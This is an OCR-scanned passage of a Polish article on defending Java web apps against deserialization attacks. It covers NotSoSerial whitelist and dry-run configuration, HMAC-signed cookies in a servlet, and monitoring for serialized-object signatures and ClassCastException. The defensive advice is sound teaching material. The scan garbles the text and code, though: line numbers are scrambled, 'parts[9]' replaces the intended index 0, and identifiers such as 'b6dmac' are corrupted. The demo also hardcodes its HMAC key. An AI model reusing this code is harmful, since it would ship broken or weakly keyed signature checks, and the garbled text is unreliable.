Dnotsoserial.whitelist=<lokalizacja listy></extralvmArguments></strong>
6 <programs>
7 <program>
8. <mainClass>Main</mainClass>
9. <name>webapp</name>
10. </program>
11. </programs>
12. </configuration>
13.
14. (...)

Po przebudowaniu i restarcie serwera, préba normalnego uzycia aplikacji skorczy
sie oczywiscie niepowodzeniem:

Rysunek 4. Uzycie aplikacji po zmianie konfiguracji

Jest jasne ze chcielibysmy tego unikna¢. W naszym prostym przyktadzie, dobrze wie-
my, ktére klasy s wymagane do dziatania programu. Niekoniecznie jednak musi by¢

to prawda w przypadku duzej aplikacji, szczegdlnie, gdy serializacja jest uzywana
przez zewnetrzne biblioteki, a nie przez nasz kod. NotSoSerial udostepnia bardzo cie-
kawa funkcjonalnos¢, ktéra moze nam pomac: uruchomienie testowe (ang. dry run).
Wiaczamy je kolejnym argumentem JVM (pogrubiona linia 5. ponizszego kodu ):

1. (...)

2.

3. <configuration>

4. <assembleDirectory>target</assembleDirectory>

5. <strong>

<extraJvmArguments>-javaagent:<lokacja pliku notsoserial.jar>
-Dnotsoserial.whitelist=<lokalizacja listy>
-Dnotsoserial.dryrun=<lokalizacja wyjsSciowego raportu></extraJvmArguments>
</strong>

7. <programs>

8. <program>

9. <mainClass>Main</mainClass>

10. <name>webapp</name>

11. </program>

12. </programs>

13. </configuration>

14.

15. (...)

Po kolejnym przetadowaniu aplikacji, poklikajmy po niej troche — wyglada na to, ze
wszystko dziata. Zagladajac natomiast do pliku wyjsciowego, znajdziemy tam wszyst-
kie klasy, ktore zostaty zdeserializowane — w naszym przypadku bedzie to jedna linia
- Data, gdyz niczego innego nie uzywamy. Mozemy nastepnie uzy¢ tego pliku, jako
naszej biatej listy.

Jak widac¢, projekt NotSoSerial udostepnia sporo ciekawych opcji i jest bardzo
przyjazny w uzyciu.

NotSoSerial - plusy:

» Dziata transparentnie i automatycznie dla kazdej operacji deserializacji (takze
w bibliotekach i frameworkach),

» Nie wymaga praktycznie zadnych modyfikacji w projekcie,

» Uzycie bezpiecznej serializacji jest wymuszone na programiscie (bez narzutu na
pisanie kodu!),

» Posiada zarowno tryb blacklisting, jak i whitelisting,

» W zaleznosci od konfiguracji, moze oferowad petne zabezpieczenie przed ataka-
mi deserializacji,

» Posiada tryb dry-run, ktéry umozliwia stworzenie poczatkowej biatej listy.
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NotSoSerial - minusy:
» Dziata tylko dla natywnej serializacji,
» W przypadku ztej konfiguracji, nadal nie chroni przed pewnymi atakami.

ROZWIAZANIE #3: KRYPTOGRAFIA

Wrdcmy raz jeszcze do punktu 5 z naszej listy wymogoéw dla skutecznego wyko-
rzystania podatnosci deserializacji:

Konkretny program musi umozliwiac¢ odebranie i deserializacje obiektu
od uzytkownika

Powyzsze zdanie nie méwi o tym wprost, ale kryje w sobie pewne zatozenie: nasz
,obiekt od uzytkownika’, jest tym, ktéry uzytkownik mégt dowolnie zmodyfikowac.
Rzeczywiscie, jesli uzytkownik bedzie nam wysytat tylko obiekty stworzone oryginal-
nie przez serwer, a zaktadamy przeciez, ze serwer jest zaufany (w przeciwnym wypad-
ku — czemu w ogdle chcemy go bronic?), jest jasne, ze nigdy nie zdeserializujemy nie-
bezpiecznych danych. To daje nam ciekawa opcje obrony — gdybysmy uniemozliwili
uzytkownikowi modyfikacje danych, bylibysmy sie w stanie obroni¢ przed atakiem!

Brzmi to pieknie, ale w rzeczywistosci, nie jestesmy w stanie (w zaden sposdb) unie-
mozliwi¢ uzytkownikowi modyfikacji danych, ktére fizycznie posiada... OK, sprébujmy
troche ostabi¢ zatozenie: uzytkownik moze modyfikowac dane, ale serwer jest w sta-
nie wykry¢ kazda (nawet najmniejsza!) modyfikacje. Jesli serwer, z géry bedzie odrzucat
kazde zadanie, w ktorym wykryje oznaki ingerencji, jedynie zdeserializowane obiekty
beda tymi, ktére pierwotnie stworzyt sam, a wiec z powrotem osiggamy nasz cel.

Czy mozemy wykrywac takie modyfikacje? Otéz tak! Na pomoc przychodzi nam
kryptografia, a konkretnie — kryptograficzne podpisy: MAC (ang. Message Authenti-
cation Code) dla kryptografii symetrycznej, lub podpisy cyfrowe (ang. Digital Signa-
tures), dla kryptografii asymetrycznej.

Jak bedzie wygladato (w zarysie) nasze rozwigzanie? Mianowicie, kazda poten-
cjalnie niebezpieczna dana, ktéra wyslemy do uzytkownika (na przykfad - ciastko),
w trakcie wysytania bedzie miata doklejony kryptograficzny podpis. Gdy owa dana
wrdci na serwer, zanim zostanie przekazana do przetworzenia (to bardzo istotny
fragment rozwigzania!), musi najpierw przejsc test poprawnosci danych w stosunku
do podpisu. W przypadku btedu, zadanie jest automatycznie odrzucane, a w przy-
padku sukcesu - przekazywane dalej i przetwarzane.

1§ UWAGA!

Poprawna implementacja rozwigzan kryptograficznych, jest niezwykle trudna — prawdo-
podobienistwo popelnienia matego btedu, skutkujacego catkowitym brakiem bezpieczen-
stwa - jest wysokie. Aby dowiedzie¢ sie wiecej o kryptografii, polecam lekture artykutéw na
Sekuraku, z tagiem kryptografia.

Ponizszy kod stuzy tylko i wylacznie, jako demonstracja idei.

Zdecydowanie nie jest to rozwigzanie typu ,,skopiuj-i-wklej” — nie jest przeznaczone do bezpo-
Sredniego zastosowania w systemie produkcyjnym, z racji wspolistnienia wielu, bardzo waznych
probleméw do rozwigzania — na przyktad, zarzadzanie kluczami. Czytelnik zostal ostrzezony.

W praktyce, implementacja rozwigzania (po raz kolejny, na przyktadzie z pierwszej cze-
4ci tej serii), bedzie wygladata nastepujaco (dodatkowe i zmienione linie sa pogrubione):

1. @webServlet(

2 name = "Servlet",

3. urlPatterns = {"/"}

4.

5. public class Servlet extends HttpServlet {

6

7 <strong>private static final SecretKeySpec keySpec = new

8 SecretKeySpec
("3BaUHxi90Bp2FtnPipB90Zxehd705UDxvIYxdNwSk9I6sXnEbTQISh5H2Y988VU"

9. .getBytes(), "HmacSHA256"</strong>);

10.

11. @Override

12. protected void doGet(

HttpServletRequest request, HttpServletResponse response)
13. throws ServletException, IOException {

14. Cookie[] cookies = request.getCookies();
15.
16. Data data = null;
17.
18. if (null !'= cookies) {
19. for (Cookie cookie : cookies) {
20. if (cookie.getName().equals("data")) {
21. try {
22. <strong>byte[] serialized =
23. Base64.decodeBase64(verifyAndGetCookie(cookie.getValue()));</strong>
24. ByteArrayInputStream bais =
new ByteArrayInputStream(serialized);
25. ObjectInputStream ois = new ObjectInputStream(bais);
26. data = (Data) ois.readObject();
27. } catch (ClassNotFoundException e) {
28. e.printStackTrace();
29. }
30. }
31. }
32. }
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33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.

54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.

76.
77.
78.
79.
80.
81.
82.

}

if (null == data) {
data = new Data("Anonymous");

}

request.setAttribute("name", data.getName());
request.getRequestDispatcher("page.jsp").forward(request, response);

@Override

protected void doPost(HttpServletRequest request, HttpServletResponse response)

}

throws ServletException, IOException {
if (null != request.getParameter("name")) {
Data data = new Data(request.getParameter("name"));

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
o0os.writeObject(data);

<strong>

Cookie cookie = new Cookie("data",
signCookie(Base64.encodeBase64String(baos.toByteArray())))
</strong>;

response.addCookie(cookie);

}

response.sendRedirect("/");

private String verifyAndGetCookie(String cookie) throws ServletException {

String [] parts = cookie.split("\\.");

if (parts.length != 2) {
throw new ServletException(“Malformed cookie!");

}

try {
String b64value = parts[9];
String b64mac = parts[1];

Mac mac = Mac.getInstance("HmacSHA256");
mac.init(keySpec);

// MessageDigest.isEqual is constant-time in recent Java versions
if (!MessageDigest.isEqual(mac.doFinal(
Base64.decodeBase64(b64value)), Base64.decodeBase64(b6dmac))) {
throw new ServletException("Malformed cookie!");

}

return b64value;
} catch (NoSuchAlgorithmException e) {

throw new ServletException("MAC algorithm not found");
} catch (InvalidKeyException e) {

83. throw new ServletException("Bad key spec");

84. }

85. }

86.

87. private String signCookie(String cookie) throws ServletException {

88. try {

89. Mac mac = Mac.getInstance("HmacSHA256");

90. mac.init(keySpec);

91.

92. String sig = Base64.encodeBase64String(
mac.doFinal(Base64.decodeBase64(cookie.getBytes())));

93.

94. return cookie + '.' + sig;

95. } catch (NoSuchAlgorithmException e) {

96. throw new ServletException("MAC algorithm not found");

97. } catch (InvalidKeyException e) {

98. throw new ServletException("Bad key spec");

99, }

100. }

101. }

Jak widag, istota programu sie nie zmienita — doszty za to dwie metody, ktére z po-
moca kryptograficznego APl dostepnego przez JCA, wykonujg dodatkowe operacje
na ciastku. Pierwsza z nich, to signCookie() (zdefiniowana w liniach 83-96, a wy-
korzystana w linii 49.), ktéra jako argument przyjmuje oryginalne ciastko (czyli zse-
rializowany obiekt Javowy), wylicza dla niego MAC (u nas za pomocg algorytmow
HMAC i SHA256) i ostatecznie, zwraca oryginalng wartos¢, z doklejong sygnatura.

Druga metoda - verifyAndGetCookie(), definicja w liniach 56-81, uzycie w li-
nii 20. — dostaje na wejsciu ciastko od uzytkownika, ktére sktada sie (a przynajmniej
powinno sie sktada¢, zaktadajac ze uzytkownik nie probowat ciastka modyfikowac!)
ze sklejonego zserializowanego obiektu Javowego i odpowiadajacej mu wartosci
MAC. Wartosci te, sg ze sobg porownywane i jesli sobie odpowiadaja, program kon-
tynuuje wykonywanie pracy (czyli deserializacje obiektu i uzycie go). Jesli wartosci
sie nie zgadzajg (to znaczy - zserializowany obiekt z ciastka daje inny MAC, niz ten w
ciastku), wykonywanie jest natychmiast przerywane, poprzez rzucenie odpowied-
niego wyjatku. Ostatnia, istotna zmiana, to zdefiniowanie w linii 7. klucza, ktérego
serwer bedzie uzywat do wyliczania MAC. Nie musze chyba dodawac, ze krytycz-
nym jest, aby klucz ten byt kryptograficznie silny...

Czy zadziata to w praktyce? Sprawdzmy. Po uruchomieniu serwera, nie widzimy
na pierwszy rzut oka zadnych zmian. Gdy poszukamy jednak dokfadniej, zobaczy-
my, ze nasze ciastko faktycznie wyglada inaczej:
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Rysunek 5. Zastosowanie kryptografii

Pierwsza potowa, to nadal nasz zserializowany obiekt (rozpoznajemy po tym, ze za-
czyna sie od znakéw ro00), ale dalej, nastepuje kropka (ktéra petni role separatora)
i zakodowany w base64 — MAC. Dopéki uzywamy aplikacji w sposéb standardowy,
wszystko dziata jak powinno - co sie jednak stanie gdy zmodyfikujemy cho¢ jeden
bit w naszym ciastku?

Rysunek 6. Komunikat po modyfikacji ciastka

Jak wida¢, zgodnie z zatozeniami serwer odrzuca nasze zagdanie. Nie nastgpita takze
deserializacja, a wiec potencjalny atak sie nie powiédt.

Na marginesie: przyktadowy kod uzywa kryptografii symetrycznej i MAC, za-
miast (duzo szerzej znanych) podpiséw cyfrowych kryptografii klucza publicznego.
Zasadniczo, z punktu widzenia bezpieczenstwa — nie jest istotne, ktorg z opcji wy-
bierzemy - jednakze kryptografia symetryczna, jest z zatozenia szybsza w dziataniu,
wiec uzasadnione jest stosowanie jej, kiedy tylko jest taka mozliwos¢.

W naszym przykfadzie — zarébwno podpis, jak i weryfikacja — jest wykonywana na
serwerze, nie ma wiec powodow, aby klucz udostepniac gdziekolwiek, a wiec kryp-
tografia symetryczna i technologia MAC, majg duzo wiekszy sens.

Jak mozna byto przesledzi¢ na przyktadach, kryptografia skutecznie pomaga
nam bronic sie przed atakami deserializacji, a nawet wiecej — w posredni sposob
- uniemozliwia dowolne modyfikacje danych, uzyskanych od uzytkownika.

Kryptografia - plusy:

» Prawidtowo zaimplementowana, blokuje wszystkie ataki deserializacji niezaufanych
danych (gdyz w pewnym sensie uniemozliwia otrzymanie niezaufanych danych!),

» Stosunkowo niewielki narzut na kod programu (wystarczy jedno wspdélne miej-
sce odpowiedzialne za podpisywanie i weryfikacje danych),

» Dziata dla kazdej formy serializacji.

Kryptografia - minusy:

» W duzej aplikacji, wprowadzenie moze byc¢ problematyczne — na przyktad — w apli-
kacji, ktora dziata juz jakis czas na produkgji, stare zapisane dane (jak ciastka),
zostang nagle uznane za btedne, gdyz nie sg podpisane,

» Prawidtowa implementacja metod kryptograficznych, jest niezwykle trudna i ta-
two jest popetni¢ drobny bfad, ktory sprawi, ze cato$¢ rozwigzania przestanie
byc¢ bezpieczna.

ROZWIAZANIE BONUSOWE: MONITORING
Zapobieganie atakom powinno by¢ pierwszym celem kazdej osoby, ktéra dba o bez-
pieczenstwo. Truizmem bedzie jednak twierdzenie, ze w wiekszosci przypadkéw stwo-
rzenie kuloodpornej” aplikacji, jest wtasciwie niemozliwe i btedy moga wystapi¢ zawsze.
W takich przypadkach, nie mniej istotne od zapobiegania, jest szybkie wykrycie i reakcja.
W przypadku btedéw deserializacji w Javie, okazuje sie ze jeste$my na catkiem nieztej
pozycji. Aby monitorowac potencjalne ataki deserializacji, mozemy zrobi¢ dwie rzeczy.

MONITOROWANIE PRZESYLANIA ZSERIALIZOWANYCH
OBIEKTOW

Jak juz kilkakrotnie byto to wspomniane, zserializowane (natywnie) obiekty Ja-
vowe maja charakterystyczng strukture, a konkretnie — zaczynaja sie od specyficz-
nych bajtow (dla przypomnienia - obiekt Javowy rozpoczyna sie od bajtéw AC ED
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00 05 - co po zakodowaniu przez base64 da r00). W zwiazku z tym, urzadzenia
sieciowe moga zostac,nauczone’, aby zgtasza¢ wszystkie wystgpienia tych sekwen-
¢ji. Oczywiscie, niesie to za sobg pewne problemy — sygnatury sg krotkie, wiec jest
dos¢ duza szansa wystapienia fatszywych alarméw (ang. false positives). Co wiecej,
prawdopodobienstwo wykrycia jest z pewnoscig mniejsze od 100%, gdyz dowolna
obfuskacja zserializowanego obiektu, ukryje potencjalne problemy. Dodatkowo, je-
$li musimy korzystac z zserializowanych obiektéw, analizowanie alertéw nieuzasad-
nionych i tych, ktére sa potencjalnymi atakami, moze by¢ utrudnione. Jest tez raczej
oczywiste, ze metoda ta zadziata tylko dla natywnej serializacji.

Mimo minuséw, jest to metoda warta rozwazenia (a przynajmniej — przetesto-
wania), jesdli nie spodziewamy sie zadnych zserializowanych obiektéw Javowych
W haszej sieci.

MONITOROWANIE WY]ATK()W

Java jest jezykiem silnie typowanym. W zwigzku z tym, jak mozna byto zaobser-
wowac w przyktadach, whasciwie kazdy atak — niewazne czy udany, czy tylko préba
- konczy sie wyjatkiem typu ClassCastException. We wzglednie stabilnej aplikacji
(na przyktad - na $rodowisku produkcyjnym), taki wyjatek powinien by¢ niezwykle
rzadki, gdyz powodowany jest albo przez duzy btad programisty, albo atakujacego.
Zatem monitorowanie logow pod katem tego wyjatku, moze nam dosc¢ szybko dac
informacje o trwajacym ataku - a przy odrobinie szczescia — nawet, zanim atakuja-
cemu uda sie znalez¢ odpowiedni fancuch gadzetéw i z sukcesem wykorzystac btad.

PODSUMOWANIE

Jak wida¢, mozliwosci obrony przed problemami zwigzanymi z deserializacjag
niezaufanych danych, jest sporo. Niestety, zadna z nich nie jest pozbawiona wad.
Przed zastosowaniem konkretnej metody, zdecydowanie polecam doktadng anali-
ze ,za i przeciw” rozpatrywanych rozwigzan.

W mojej osobistej opinii, jesli tylko czujemy sie na sitach, powinnismy zasta-
nowi¢ sie nad zastosowaniem rozwigzania numer 3, czyli kryptografii - dobrze
zaimplementowana blokuje witasciwie wszystkie ataki. Jesli z roznych powodoéw,
kryptografia nie wchodzi w gre, a zalezy nam na mozliwie prostym w implementa-
¢ji rozwigzaniu, proponuje uzycie biblioteki NotSoSerial — w tym wypadku nalezy
jednak poswieci¢ odpowiednig ilos¢ czasu na stworzenie bardzo dokfadnej konfi-
guracji — najlepiej, w trybie biatej listy. Bez wzgledu, jakie rozwigzanie wybierzemy,

warto rozwazyc¢ tez (zgodnie z paradygmatem Defence in depth) odpowiednie mo-
nitorowanie, ktore moze byc¢ nieoceniong, ostatnig linig naszej obrony.

PODSUMOWANIE SERII

Niniejsza seria jest wierzchotkiem gory lodowej, jesli chodzi o problemy deseria-
lizacji w ogdlnosci. Jak wielokrotnie wspominatem, podatnosci tego typu sg nieza-
lezne od jezyka, technologii, formatu i wielu innych rzeczy (nie znaczy to ze wyste-
puja powszechnie - tylko, ze potencjalnie, moga wystapi¢ wszedzie). Deserializacja
niezaufanych danych, mimo ze nie jest spotykana na kazdym kroku, prowadzi do
powaznych konsekwencji (bardzo czesto RCE). Jej waga zostata ostatnio podkreslo-
na i doceniona w ramach pwnie awards — Steve Breen jest nominowany w kategorii
+Najlepszego” btedu po stronie serwera (ang. Pwnie for Best Server-Side Bug).

Z punktu widzenia programisty, jest to problem — mato kto zdaje sobie sprawe
z istnienia tego typu podatnosci. Bardzo istotne jest wiec nagtasnianie zagadnien
serializacji i deserializacji oraz edukacja w tym zakresie. Co wiecej, tatanie tego typu
btedéw, moze by¢ bardzo trudne - szczegdlnie w duzej aplikacji, ktéra juz od ja-
kiegos czasu jest dostepna na srodowisku produkcyjnym. Najlepiej wiec - juz na
etapie planowania, projektowania i implementacji aplikacji - mie¢ pewng wiedze
o konsekwencjach serializacji i deserializacji obiektow.

Z punktu widzenia pentestera lub badacza bezpieczenstwa, problemy tego typu
s interesujgcym polem do szukania btedéw. Niska Swiadomos¢ spoteczenstwa de-
weloperéw i fakt, ze o mozliwosciach wykorzystania luk w serializacji i deserializacji,
zrobito sie gtosno dopiero w ciggu ostatniego roku, sg czynnikami, ktére zwiekszaja
nasze szanse na ciekawe odkrycia. | rzeczywiscie, wydaje sie, ze btedy tego typu sg
na topie, badania trwaja... i pewnie przez jeszcze jakis czas bedziemy o nich styszec.

LINKI

» https://goo.gl/rgHvYm

» https://github.com/ikkisoft/SerialKiller
» https://github.com/kantega/notsoserial

Mateusz Niezabitowski jest bytym Developerem, ktéry w pewnym
momencie stwierdzit, ze wprawdzie tworzenie aplikacji jest fajne, ale psucie
ich jeszcze fajniejsze. Obecnie pracuje na stanowisku AppSec Engineer

w firmie Ocado Technology
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